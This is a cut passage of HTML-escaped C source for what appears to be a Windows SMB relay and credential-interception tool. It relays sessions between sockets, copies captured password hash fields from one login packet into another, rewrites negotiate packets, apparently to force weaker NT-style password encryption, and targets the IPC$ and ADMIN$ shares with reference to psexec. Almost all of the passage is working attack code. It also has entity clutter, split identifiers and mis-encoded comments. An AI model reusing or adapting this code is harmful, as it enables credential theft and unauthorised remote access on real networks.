rnetinfo.long73okadd=&amp;rnetinfo.long73ok;<BR>&nbsp;&nbsp;rnetinfo.long73ok=0;<BR>&nbsp;&nbsp;&nbsp; \
&nbsp;rnetinfo.loginok=FALSE;<BR> <BR>&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp; printf("\n Connect \
%s",inet_ntoa(s_in2.sin_addr));<BR> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;i = \
1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ioctlsocket(fd2, FIONBIO, \
&amp;i);<BR>&nbsp;&nbsp;&nbsp;i = 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
ioctlsocket(fd3, FIONBIO, &amp;i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;i = \
1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ioctlsocket(rinfo.socketserver, FIONBIO, \
&amp;i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;ThreadID=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memset(buff,0,BUFFSIZE);<BR>&nbsp;&nbsp;&nbsp;memset(filename,0,BUFFSIZE);<BR> \
&nbsp;&nbsp;&nbsp;while(1)<BR>&nbsp;&nbsp;&nbsp;{<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;if(rnetinfo.loginok==TRUE)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
i=GetExitCodeThread(threadhandle,&amp;exitcode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i==1&amp;&amp;exitcode!=STILL_ACTIVE){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;printf("\n psexec exit 0x%x \
code",exitcode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Sleep(5);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // \
&nbsp;if(rnetinfo.loginok==TRUE) recv(fd2,buff,BUFFSIZE,0);<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;i=recv(fd,buff,BUFFSIZE,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(i&lt;=0&amp;&amp;WSAGetLastError()==0x2746) \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; printf("\n recv fd 0x%x bytes. \
error=0x2746",i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(i&gt;0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rnetinfo.recvbytes=i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(rnetchan \
gepacket(&amp;rnetinfo)==TRUE)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
threadhandle=waitfd4(&amp;rnetinfo,&amp;rinfo); \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memset(buff,0,BUFFSIZE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR> \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;i=recv(fd3,buff,BUFFSIZE,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;if(i&lt;=0&amp;&amp;WSAGetLastError()==0x2746) {<BR>&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp; printf("\n recv fd3 0x%x bytes. \
error=0x2746",i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(i&gt;0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=i;&nbsp;<BR>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetchangepacket2(&amp;rnetinfo)==TRUE)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
threadhandle=waitfd4(&amp;rne  tinfo,&amp;rinfo); \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memset(buff,0,BUFFSIZE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR> &nbsp;&nbsp;&nbsp;&nbsp;}<BR>
&nbsp;&nbsp;&nbsp;&nbsp;if(rnetinfo.loginok==FALSE) \
fd=fd2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd=rnetinfo.fd4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.fd=fd;<BR> <BR>&nbsp;&nbsp;&nbsp;}<BR>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
closesocket(fd2);<BR>&nbsp;&nbsp;&nbsp;closesocket(fd3);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
closesocket(rnetinfo.fd4);<BR>&nbsp;&nbsp;&nbsp;CloseHandle(threadhandle);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
return;<BR>}<BR> &nbsp;<BR>
&nbsp;<BR>
&nbsp;<BR>
<BR>void nameuncode(char *namebuff,char *ipbuff)<BR>{<BR>
&nbsp;int i,j;<BR>&nbsp;&nbsp;&nbsp; u_short&nbsp; name;<BR>&nbsp;&nbsp;&nbsp; char \
servername[]={"*SMBSERVER"};<BR> &nbsp;for(i=0,j=0;i&lt;16;++i){<BR>&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name=ipbuff[i];&nbsp; //servername[i] \
;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(name==0) \
j=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(j==1) \
name=0x20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+0x27]= ( (name &gt;&gt; 4) \
&amp; 0x000F ) + 'A';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+0x28]= (name &amp; \
0x000F) + 'A';<BR>&nbsp;}<BR> &nbsp;for(i=0,j=0;i&lt;16;++i){<BR>&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name=servername[i] \
;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(name==0) \
j=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(j==1) \
name=0x20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+5]= ( (name &gt;&gt; 4) &amp; \
0x000F ) + 'A';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+6]= (name &amp; 0x000F) + \
'A';<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp; \
namebuff[0x25]=0;<BR>&nbsp;namebuff[0x47]=0;<BR>&nbsp;return;<BR>}<BR> &nbsp;<BR>
<BR>int newsend(int fd,char *buff,int size,int flag)<BR>{<BR>
&nbsp;int j;<BR>&nbsp;&nbsp;&nbsp; int i = 0;<BR>&nbsp;&nbsp;&nbsp; ioctlsocket(fd, FIONBIO, \
&amp;i);<BR>&nbsp;j=send(fd,buff,size,flag);<BR>&nbsp;&nbsp;&nbsp; i = \
1;<BR>&nbsp;ioctlsocket(fd, FIONBIO, &amp;i);<BR>&nbsp;&nbsp;&nbsp; return j; <BR>}<BR> \
<BR>void&nbsp; changepass(char *buff11,char *buff7311)<BR>{<BR>&nbsp;<BR>&nbsp; \
char&nbsp;&nbsp;&nbsp;&nbsp; *buff=*(int *)buff11;<BR>&nbsp; char&nbsp;&nbsp;&nbsp;&nbsp; \
*buff73=*(int *)buff7311;<BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
usernameaddress1;<BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usernameaddress2;<BR>&nbsp; \
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strflg1,strflg2;&nbsp;&nbsp;&nbsp;<BR>&nbsp; u_short&nbsp; \
name;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(buff+0x41,buff73+0x41,0x18);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // copy \
password<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(buff[0x35]==0x18) \
memcpy(buff+0x41+0x18,buff73+0x41+0x18,0x18);<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
// copy the next password<BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strflg1=buff73[0x0f];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strflg1&amp;=0x80;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strflg1!=0) \
strflg1=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strflg2=buff[0x0f];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strflg2&amp;=0x80;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strflg2!=0) \
strflg2=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //str is unicode ?<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
usernameaddress1=0x41+0x18+buff73[0x35]+strflg1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
usernameaddress2=0x41+0x18+buff[0x35]+strflg2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
name=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
while(name!=0){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name=buff73[usernameaddress1];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strflg1==0) \
++usernameaddress1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else \
usernameaddress1+=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[usernameaddre \
ss2]=name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++usernameaddress2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strflg2!=0) \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++usernameaddress2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buff[usernameaddres
  s2]=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // copy user name \
£¬²»¹»ÑϽ÷£¬²»¹ýÃãÇ¿ÄÜÓá£<BR> }<BR>
&nbsp;<BR>
BOOL&nbsp; rnetchangepacket(RNET *rnetinfoadd)<BR>{<BR>&nbsp;&nbsp; <BR>&nbsp; <BR>&nbsp; char \
filename[0x100];<BR>&nbsp; unsigned char name;<BR>&nbsp;&nbsp;&nbsp;&nbsp; int \
i,j,k;<BR>&nbsp;&nbsp;&nbsp;&nbsp; RNET rnetinfo=*rnetinfoadd;<BR> &nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE&amp;&amp;rnetinfo.buff[0x8]==0x32)<BR>&nbsp; {<BR>&nbsp;&nbsp; \
i=*(WORD *)(rnetinfo.buff+0x41);<BR>&nbsp;&nbsp; \
if(i==0x05&amp;&amp;rnetinfo.recvbytes&gt;0x4e&amp;&amp;rnetinfo.buff[0x4e]!=0)<BR>&nbsp;&nbsp; \
{&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.filename,rnetinfo.buff+0x4e,rnetinfo.recvbytes-0x4e);<BR>&nbsp;&nbsp;//&nbsp; \
*(int *)(rnetinfo.buff+9)=0xc0000016;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);<BR>&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; closesocket(rnetinfo.fd2);<BR>&nbsp;&nbsp;&nbsp; \
printf("\n get file name ok!");<BR>&nbsp;&nbsp;&nbsp; \
return(TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp; \
if(i==0x01&amp;&amp;rnetinfo.recvbytes&gt;0x54&amp;&amp;rnetinfo.buff[0x54]!=0)<BR>&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp; memcpy(rnetinfo.filename,rnetinfo.buff+0x54,rneti  \
nfo.recvbytes-0x54);<BR>&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(int \
*)(rnetinfo.buff+9)=0xc0000016;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.recvbytes=newsend(rnetinfo.fd3,rnetinfo.buff,rnetinfo.recvbytes,0);<BR>&nbsp;// \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; closesocket(rnetinfo.fd2);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; \
printf("\n get file name ok!");<BR>&nbsp;&nbsp;&nbsp; return(TRUE);<BR>&nbsp;&nbsp; }&nbsp; \
<BR>&nbsp; }<BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.buff[0x8]==0x72)<BR>&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;if(rnetinfo.loginok==FALSE)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;//&nbsp; \
memcpy(rnetinfo.buff72,rnetinfo.buff,rnetinfo.recvbytes);<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
memset(rnetinfo.buff+0xc,0,4);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.long72=rnetinfo.recvbytes;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//Õâ¶ùÊÇϵͳ֧³Öʲô·þÎñµÄ±ê¼Ç£¬WIN2000ÓëWINNTϵͳ²»Ò»Ñù¡£<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//ÓÐÒ»·½ÊÇWINNT¿´Ò»°ã¾ÍÊÇ0£¬¶øÁ½·½¶¼ÊÇWIN2000ºóÃæЭÒéµÄÃÜ \
뷽ʽ¾Í²»Ò»Ñù¡£<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//ÉèÖóÉ0£¬ÆÛÆ­ÈÃÆäÒÔWINNTµÄ·½Ê½·¢ËͼÓÃܵÄÃÜ \
룬ÒԺýػñ¡£µ«¿ÉÄÜWIN2000Ö§³Ö²»ºÃ¡£<BR>&nbsp;&nbsp;&nbsp;&nbsp; // &nbsp; printf("\n fd2 recv \
smb 0x72&nbsp; packet \
");<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;{&nbsp; <  \
BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.buff72+0x1c,rnetinfo.buff+0x1c,8);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy \
(rnetinfo.buff,rnetinfo.buff72,rnetinfo.long72);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp; \
printf("\n send smb 0x72 packet \
.");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rnetinfo.buff[0x25]=5;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//run in win9x.the win9x netbios client use <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//Õâ¶ù¿Í»§¶Ë¿ÉÄÜÒªWIN9X£¬²»ÖªµÀWINT¡£WIN2000Ôõô´¦Àí¡£<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ne \
wsend(rnetinfo.fd,rnetinfo.buff,rnetinfo.long72,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;retur \
n(FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rnetinfo.recvbytes=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp; if(rnetinfo.buf  \
f[0x8]==0x73||rnetinfo.buff[0x8]==0x75)<BR>&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; \
if(rnetinfo.loginok==FALSE)<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; \
if(rnetinfo.buff[0x33]==0x18)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
memcpy(rnetinfo.buff73,rnetinfo.buff,rnetinfo.recvbytes); \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; i=*(WORD \
*)(rnetinfo.buff+0x27);<BR>&nbsp;&nbsp;&nbsp; if(rnetinfo.buff[0x8]==0x75) \
i=0x20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; j=*(unsigned \
char *)(rnetinfo.buff+0x4+i);<BR>&nbsp;&nbsp;&nbsp; i+=*(WORD \
*)(rnetinfo.buff+i+0x0b);<BR>&nbsp;&nbsp;&nbsp; \
i=i+2*j+7;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;  \
memcpy(filename,rnetinfo.buff+i,sizeof(filename));<BR>&nbsp;&nbsp;&nbsp; \
j=1;<BR>&nbsp;&nbsp;&nbsp; if(filename[1]==0) \
j=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
for(i=0,k=0;i&lt;0x100;i+=j,++k)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
name=filename[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
filename[k]=name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp; if(i==0&amp;&amp;name=='\\') \
k-=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp; for(i=strlen(filename);i&gt;0;--i)<BR>&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb  \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
name=filename[i];<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(name=='\\')<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
strcpy(filename,filename+i+1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; \
if(strcmp(filename,"IPC$")!=0&amp;&amp;strcmp(filename,"ADMIN$")!=0)<BR>&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; \
strcpy(rnetinfo.filename,filename);<BR>&nbsp;&nbsp;&nbsp;&nbsp; printf("\n file \
name=%s",filename);<BR>&nbsp;&nbsp;//&nbsp; closesock  \
et(rnetinfo.fd2);<BR>&nbsp;&nbsp;//&nbsp; printf("\n the new get file name \
ok!");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; \
return(TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp; \
else{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;&nbsp;&nbsp;<BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(rnetinfo.buff[0x33]==0x18)<BR>&nbsp;&nbsp;&nbsp;{<BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n send login ok \
